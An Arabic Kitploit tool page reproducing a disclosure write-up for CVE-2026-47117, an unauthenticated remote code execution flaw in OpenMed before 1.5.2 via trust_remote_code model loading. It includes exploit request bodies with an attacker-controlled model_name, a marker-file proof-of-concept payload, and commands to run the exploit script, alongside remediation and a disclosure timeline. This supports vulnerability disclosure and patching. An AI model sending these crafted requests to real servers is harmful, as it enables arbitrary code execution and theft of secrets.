Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True | Kitploit
أدوات/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن الذكاء الاصطناعي
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True

عرض المستودع
17منذ 10 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-47117: تنفيذ تعليمات برمجية عن بُعد دون مصادقة في OpenMed عبر تحميل نماذج PII

الخطورة: حرجة، CVSS 4.0 9.3، CVSS 3.1 9.8 (مُعيَّنة من قِبل VulnCheck، الجهة المانحة لمعرّفات CVE)

المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

المتجه (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المتأثر: OpenMed < 1.5.2

تم إصلاحه في: 1.5.2

CWE: CWE-94 (التحكم غير السليم في توليد التعليمات البرمجية، حقن التعليمات البرمجية)

اكتشفه وأبلغ عنه: Sai Teja Erukude

تاريخ النشر: 2 يونيو 2026


الملخص

تحتوي إصدارات OpenMed السابقة لـ 1.5.2 على ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في مسار تحميل نموذج فلتر الخصوصية PII.

تقبل نقاط نهاية REST API التاليتين POST /pii/extract وPOST /pii/deidentify قيمة model_name من جسم الطلب. في الإصدارات المتأثرة، كان موزِّع فلتر الخصوصية يستخدم مطابقة جزئية واسعة على هذه القيمة التي يتحكم بها المهاجم. لذلك، يمكن لاسم نموذج مثل attacker/foo-privacy-filter-bar أن يُوجَّه إلى الواجهة الخلفية لفلتر الخصوصية.

في عمليات النشر غير المعتمدة على MLX/Torch، كانت تلك الواجهة الخلفية تحمّل مكوّنات نموذج Hugging Face عبر Transformers مع تفعيل trust_remote_code=True. وإذا كان مستودع النموذج الذي يتحكم به المهاجم يحتوي على تعليمات برمجية مخصصة لـ Transformers مُشار إليها عبر auto_map في config.json أو tokenizer_config.json، فإن Transformers كانت تستورد تلك التعليمات البرمجية الخاصة بـ Python وتنفّذها أثناء تحميل النموذج أو المُرمِّز (tokenizer).

تُنفَّذ التعليمات البرمجية المستوردة بصلاحيات عملية خدمة OpenMed.

التأثير

قد يتمكن مهاجم عن بُعد غير مُصادَق يستطيع الوصول إلى OpenMed REST API من تنفيذ تعليمات Python البرمجية بشكل عشوائي على الخادم عبر تزويد معرّف نموذج خبيث بأسلوب Hugging Face في model_name.

اعتمادًا على طريقة نشر الخدمة، قد يسمح ذلك بما يلي:

  • قراءة أو تعديل الملفات التي يمكن لعملية OpenMed الوصول إليها.
  • الوصول إلى متغيرات البيئة وأسرار التطبيق.
  • استدعاء الخدمات الداخلية التي يمكن الوصول إليها من مضيف OpenMed.
  • تعطيل سلوك التطبيق أو استبداله.

نقاط النهاية المتأثرة

يمكن الوصول إلى المشكلة عبر كلا نقطتي نهاية PII لأن كلتيهما تقبل model_name وتستخدم نفس مسار استخراج PII/تحميل النموذج:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

التفاصيل التقنية

يحتوي مسار التحكم القابل للاستغلال على إخفاقين في حدود الثقة:

  1. وثقت واجهة API بقيمة model_name المقدَّمة من المستخدم عند اختيار الواجهة الخلفية لمرشح الخصوصية.
  2. وثقت الواجهة الخلفية المختارة بكود مستودع النموذج البعيد عبر تحميل مخرجات Transformers باستخدام trust_remote_code=True.

تعامل المُوزِّع مع أي معرّف نموذج يحتوي على privacy-filter على أنه جزء من عائلة مرشح الخصوصية. وقد أتاح ذلك لمعرّفات يتحكم بها المهاجم، مثل attacker/foo-privacy-filter-bar، الوصول إلى مسار برمجي مخصص لنماذج Privacy Filter الموثوقة من الجهة الأولى.

وبمجرد توجيهه إلى هناك، كان بإمكان Transformers تحميل كود مخصص يتحكم به المهاجم عبر auto_map. ويحدث هذا الاستيراد أثناء تحميل النموذج/المُرمِّز، قبل أن يلزم نجاح أي استدلال مفيد. لذلك يمكن أن تكون حِزمة الإثبات صغيرة بقدر:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

إثبات المفهوم

poc_exploit.py يبني دليل نموذج محلي غير ضار بأسلوب Hugging Face يحتوي اسمه على privacy-filter. تكتب وحدات Transformers المخصصة المُولَّدة ملف علامة عند استيرادها. ثم يرسل السكربت طلبًا إلى نسخة اختبار من OpenMed API مع ذلك الدليل باسم model_name.

السلوك المتوقع على إصدارات OpenMed المصابة هو:

  1. تقبل واجهة API قيمة model_name التي يتحكم بها المهاجم.
  2. يوجّه التوجيه القائم على السلسلة الفرعية الطلب إلى الواجهة الخلفية لـ privacy-filter.
  3. تستورد Transformers الوحدة المخصصة المُولَّدة لأن trust_remote_code=True.
  4. يُنشأ ملف العلامة، مما يثبت تنفيذ الشيفرة في عملية خدمة OpenMed.
  5. قد يفشل الطلب بعد ذلك لأن النموذج التجريبي ليس نموذج Privacy Filter حقيقيًا؛ والعلامة التي تُنشأ عند الاستيراد هي الدليل ذو الصلة.

شغّله ضد نسخة اختبار محلية فقط:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

إذا كانت خدمة OpenMed تعمل في مكان لا يمكنه الوصول إلى الدليل المحلي المُنشأ، فانشر نموذجًا اختباريًا مكافئًا إلى مستودع Hugging Face خاضع للتحكم ومرّر ذلك المعرّف صراحةً:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

المعالجة

قم بالترقية إلى OpenMed 1.5.2 أو أحدث.

يفصل OpenMed 1.5.2 التوجيه عن الثقة:

  • لم تعد أسماء المستودعات العشوائية التي تحتوي على privacy-filter تُوجَّه عبر مسار privacy-filter الموثوق.
  • PrivacyFilterTorchPipeline يجعل trust_remote_code افتراضيًا False.
  • فقط مستودعات Privacy Filter الصريحة التابعة للجهة الأولى مُدرجة في قائمة السماح لتحميل الشيفرة البعيدة الموثوقة.
  • يمكن للمشغّلين الذين يحتاجون إلى ضبط دقيق خاص مُتحكَّم فيه إدراجه في قائمة السماح باستخدام OPENMED_TRUSTED_REMOTE_CODE_MODELS.

إذا لم تكن الترقية الفورية ممكنة:

  • لا تعرّض واجهة REST API القابلة للاستغلال للعملاء غير الموثوقين.
  • لا تمرر قيم model_name التي يتحكم بها المستخدم إلى Transformers مع trust_remote_code=True.
  • استبدل توجيه النماذج القائم على السلاسل الفرعية بمعرّفات نماذج موثوقة دقيقة.
  • حمّل مسبقًا نماذج محلية معتمدة في بيئة الإنتاج وعطّل التنزيلات العشوائية للنماذج.

الجدول الزمني للإفصاح

التاريخالحدث
18 مايو 2026تم إرسال الثغرة إلى VulnCheck
20 مايو 2026بدأت VulnCheck التواصل للإفصاح المنسّق
22 مايو 2026تم تخصيص CVE-2026-47117 مبدئيًا
1 يونيو 2026تمت مراجعة إصلاح OpenMed 1.5.2 وتأكيده
2 يونيو 2026تم نشر CVE-2026-47117

الفضل

تم اكتشافها والإبلاغ عنها بواسطة Sai Teja Erukude.

تم تنسيق الإفصاح عبر VulnCheck.

المراجع

  • سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • استشارة VulnCheck: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • ملاحظات إصدار OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • مشروع OpenMed: https://github.com/maziyarpanahi/openmed
تنزيل الأداة